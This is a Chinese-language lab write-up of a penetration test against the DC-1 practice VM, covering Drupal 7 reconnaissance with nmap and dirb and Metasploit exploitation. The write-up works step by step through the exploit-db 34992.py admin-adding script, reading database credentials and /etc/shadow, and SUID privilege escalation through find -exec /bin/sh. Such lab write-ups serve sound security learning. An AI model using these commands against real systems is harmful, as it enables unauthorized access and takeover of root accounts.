DC-1 靶机渗透测试
DC-1靶机渗透测试
对着镜子大喊三声“太菜了”“太菜了”“太菜了”
DC系列靶机的第一篇。边学习边日靶机边进步,摸爬滚打着前行。
内容不只是日靶机,还有其中遇到的知识点,记录下来。
注意攻击机要与靶机在同一网段下,桥接模式和NAT模式都可以的,我用的是NAT模式。
出发之前,请记住我们要做什么:进入靶机,拿到5个flag
0x01 信息收集
是的没错,没有登录账号密码给你。因为kali与靶机在同一网段下,用nmap扫一下吧:
执行:nmap 172.66.66.0/24,结果如下,确定了靶机ip为 172.66.66.131
加参数 -A -sV再次扫描获取更多信息,如下图:
ssh-hostkey: 是用于在SSH协议中对计算机进行身份认证的加密密钥。更多详情点击 hostkey
已知信息:
1、主机IP 172.66.66.131
2、开放端口及服务 22 --> ssh 80---> Drupal 7 111---> rpcbind
3、robots.txt 中禁止访问的部分内容展示
nmap 使用 -sS 选项 ,执行一次隐秘的TCP扫描,以确定某个TCP端口是否开放。
使用 -Pn选项,告诉nmap不适用Ping命令预习判断主机是否存活,而是默认所有主机都是存活的,因为很多主机会禁用ping,导致ping不通,误认为主机不存活。-Pn 选项可以避免漏掉许多存活的主机。
浏览器输入ip访问进去,看到感觉像是个 名叫 Drupal
的CMS管理系统,打开Wappalyzer插件
看到网站基本的一些基本信息,看一下有个印象。
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。推荐使用的是 mysql数据库,Drupal 7对于musql数据库只支持MySQL5.0.15或更高,而且必须在php上设置PDO database扩展;
国外三大开源cms :drupal
robots.txt ,不能放过,进去看看:
目录扫描,windows下有御剑,linux下有dirb。也可以使用dirb目录扫描工具
,操作一波看看。
插入一下学习dirb的使用方法。(dirb扫的好慢呀...)
dirb目录扫描工具
- 常规扫描
dirb 目标 字典路径
如:dirb http://172.66.66.131 /root/dir.txt 缺省路径就使用默认字典 - 设置ua(user agent)和cookie
dirb 目标 字典路径 -a “ua” -c “cookie”
- 使用代理和输出结果
dirb 目标 字典路径 -p ip:port -o result.txt
- 设置附加后缀
dirb 目标 字典路径 -X test
(这样的话字典内容每个都加上了test后缀) - 设置毫秒延迟
dirb 目标 字典路径 -z 1000
设置后1000毫秒访问一次,因为扫描速度太快可能会被目标的安全程序禁掉。
放弃思考,上Metasploit框架
,输入命令 msfconsole
回车(好吧,等我有想法了再回来思考,我太菜了,下课去补补msf的知识)
maf5 > search drupal 查找相关漏洞,选择利用年份最近的一个(最新的漏洞)。
有2018年的和2019年的两个比较新的漏洞,都试试吧,练一下。
进去之后 ls 看一下看到了,有个叫 flag1.txt 的文件,cat一下看看,内容提示说去看 配置文件。重点关注一下,include,sites,web,config 等文件。
这里写入交互shell
meterpreter > shell
python -c 'import pty;pty.spawn("/bin/bash")'
然后连接数据库
mysql -u dbuser -p 回车输入密码 R0ck3t
use drupaldb;
show tables;
看到有 users 表,进去看看
select * from users\G #末尾的 \G 是结果按行打印输出,这样方便查看
太菜了,密码破解不出来。
searchsploit drupal
找到了一个攻击脚本,可以添加 admin 账号 。且靶机当前drupal 7 版本在适用范围里。
searchsploit 是一个本地的漏洞库,kali里默认集成了,msf里也可以用。在里面可以找相关的漏洞,以及漏洞利用程序和shellcode 。
cat看一下攻击脚本的详细信息。
cat /usr/share/exploitdb/exploits/php/webapps/34992.py
使用方法,三个参数 -t ---> target -u ---> username -p ---> pwd
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://172.66.66.131 -u admin1 -p admin1
执行成功,网页端登录进去,找到了flag3 。
根据提示意思是要去看 etc/shadow 文件。先来看看/etc/passwd 文件
/etc/passwd 文件是所有用户都读权限。所以密码放在里面显然不合适,于是有了 /etc/shadow 文件。
passwd 文件里的每一行都很规则,用冒号分隔成了7个部分 ,分别对应的是
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
注意最后的字段,该字段中除了/bin/bash外还有/sbin/nologin比较多,它表示不允许该账号登录。如果你想建立一个账号不让他登录,那么就可以把该字段改成/sbin/nologin,默认是/bin/bash.
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bashn/false
其中密码字段的 x 表示,该用户设置了密码。
所有者是root,root有读写权限。
用冒号 : 分隔成9个字段。
用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段
加密密码字段: 这里是经过加密后的密码,linux现在采用的是SHA512散列加密算法,以前用MD5或者DES加密算法。
注意,这串密码产生的乱码不能手工修改,如果手工修改,系统将无法识别密码,导致密码失效。很多软件透过这个功能,在密码串前加上 "!"、"*" 或 "x" 使密码暂时失效。
所有伪用户的密码都是 "!!" 或 "*",代表没有密码,该用户是不能用来登录的。当然,新创建的用户如果不设定密码,那么它的密码项也是 "!!",代表这个用户没有密码,不能登录。
所以到这里,linux提权就用上了,需要在靶机上搞到root权限。
在看提权笔记的时候,随便输了个命令进去 ls -alhR /home/ 按下回车,惊喜出现了,意外发现了 flag4.txt
还是乖乖回来提权吧。这次利用suid提权。
linux suid提权
为什么要提权?一般拿到shell之后,权限都不会很高,一些命令需用到root权限执行。
SUID的功能,在U所有者的执行权限位置变成了S
只有 可执行(可X权限)的二进制程序才能设定SUID权限。
命令执行者对该程序拥有X(执行)权限,在执行程序时候获得该程序属主的身份。SUID权限只在程序执行中有效。
举例说明:像是passwd命令,ls -l /usr/bin/passwd 能看到权限是 -rws r-w r-x 在原本的X执行权限位置成了 S ,说明有SUID权限,passwd命令修改的是shadow文件。再看shadow文件权限,ls -alh /etc/shadow 看到是
-rw- r-- --- 只有root写入修改,但为什么普通用户只有r权限却能修改自己的密码 ? 就是因为有suid权限。
所以提权第一步,先找到目标系统中查找具有root权限
且SUID权限
的二进制文件,方可变身root .
尝试使用以下命令进行查找:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
- / 表示从根目录开始并查找每一个目录文件
- -perm 表示搜索随后的权限
- -u = s 表示查找suid权限的二进制文件
- -type f 查找文件类型是 f (文件)
- 2 文件描述符,( 0 1 2三种),2是错误(stderr标准错误,用
2>
或2>>
) 2>/dev/null 把错误输出丢掉- -4000 这个要重点理解,篇幅较长,放在文章末尾
就选择用这个吧,执行命令:find . -exec "/bin/sh" \;
提权成功,输入 whoami
查看,可见是root
,再到/root
下cat
就能看到thefinalflag.txt
了
find命令的重要参数
-exec command
:command是其他指令,-exec接其他指令,对find得到的结果进行处理。{}代表的是"find查找到的结果",如下图所示
find根据条件找到的结果,放到{}位置,拼接上 ls -l 命令,实现对查询结果进行操作。举几个栗子🌰:如
find /root/.ssh -exec ls -l {} ;
删除
find /root -size 10M -exec rm -rf {} ;
# 重命名
find /root -name tom -exec mv {} tom_rename ;
# 移动
find /root -name tom_rename -exec mv {} /tmp ;
可见,其实
-exec {} \;
的{}
是非必须的, 比如find . -exec "/bin/sh" \;
这时候附加命令是打开/bin/sh
并没有要对find的结果进行操作。
最后
积累到这些:
数据库配置文件明文写着数据库用户名和密码 ----> 去找数据库配置文件
meterpreter>shell
直接敲入shell 会连接上服务器的shell,这是通过http协议获得的shell连接,非持久性的连接,此方式下无法本地登录mysql,需要一个持续的交互的shell,使用python -c 'import pty;pty.spawn("/bin/bash")'
netstat -anpt
查看端口开放情况使用drupal自带的脚本
php scripts/password-hash.sh mima
重新生成密码(mima)的密文覆盖原admin用户的密码,因为爆破很耗时,覆盖更省事。find命令可以调用外部命令,所以提权,多多瞄一下find命令。-exec {} ;
/bin/bash 与 /bin/bash 是什么关系?
ls -al /bin/sh
就能看到啦
root@kali:~# ls -alh /bin/sh
lrwxrwxrwx 1 root root 4 10月 4 15:06 /bin/sh -> dash
得知/bin/sh是/bin/bash 的软链接使用
sh
调用执行脚本相当于打开了bash
的POSIX
标准模式
#!/bin/sh
指定命令解释器,#!表示后面的内容,搜寻解释器的绝对路径,如果发现了命令解释器,则会创建一个关于该解释器的进程,解释并执行当前脚本的语句,可以是#!/bin/sh
、#!/bin/more
,也可以是#!/usr/local/php5/bin/php
find 的-perm参数讲解: -perm {+mode -mode mode /mode} 有四种权限表示形式可以选(用mode代替具体数值来讲解)
+mode
表示部分大于权限值 。
-mode
表示完全满足权限值(可以高于该权限值,也就是大于等于
权限值的意思)。
mode
表示正好等于该权限值。
/mode
只要有文件权限都给你匹配出来。-perm mode中的mode值每一位都转换成二进制,比如
644
就是110 100 100
,在匹配结果过程中,+mode
是 只看二进制数字1
,查找对象的权限用二进制表示,只要有一个1
符合,就能匹配出来,不管0
的,只看1
-mode
是 只看二进制数字1
,查找对象的权限用二进制表示,必须所有
1
的位置都符合
,才能匹配出来,不管0
的,只看1
总的来说,这个符号
-
就是查找比给定权限值还充足的权限的文件(大于等于给定权限值)举个例子:
find / -user root -perm -4000 -print 2>/dev/null
-4000 是--s --- ---
表示有suid权限的,换成二进制,有1
的位置必须满足,那查找的结果一定是 具有suid权限的,或者更高权限,但是一定包含了suid权限在里面。open系统调用返回的文件描述符是非负整型;每一个进程都有自己的文件描述符集合;当创建进程时,通常有3个打开
文件描述符(0,1,2)
,0代表标准输入
,1代表标准输出
,2代表标准错误
,它们统称为标准IO
;当多个描述符指向同一个文件,每个文件描述符仍保持他独特的性能;由于文件描述符在一个进程中是特有的,因此不能在多个进程中间实现共享,而唯一的例外是在父/子进程之间,当一个进程调用fork时,调用fork时打开的所有文件在子进程和父进程中仍然是打开的,而且子进程写入文件描述符会影响到父进程的同一文件描述符,反之亦然.linux提权,这个知识点好大,打算另外开一片笔记专门整理,后续也会用到
本地监听与反弹shell:未完待续...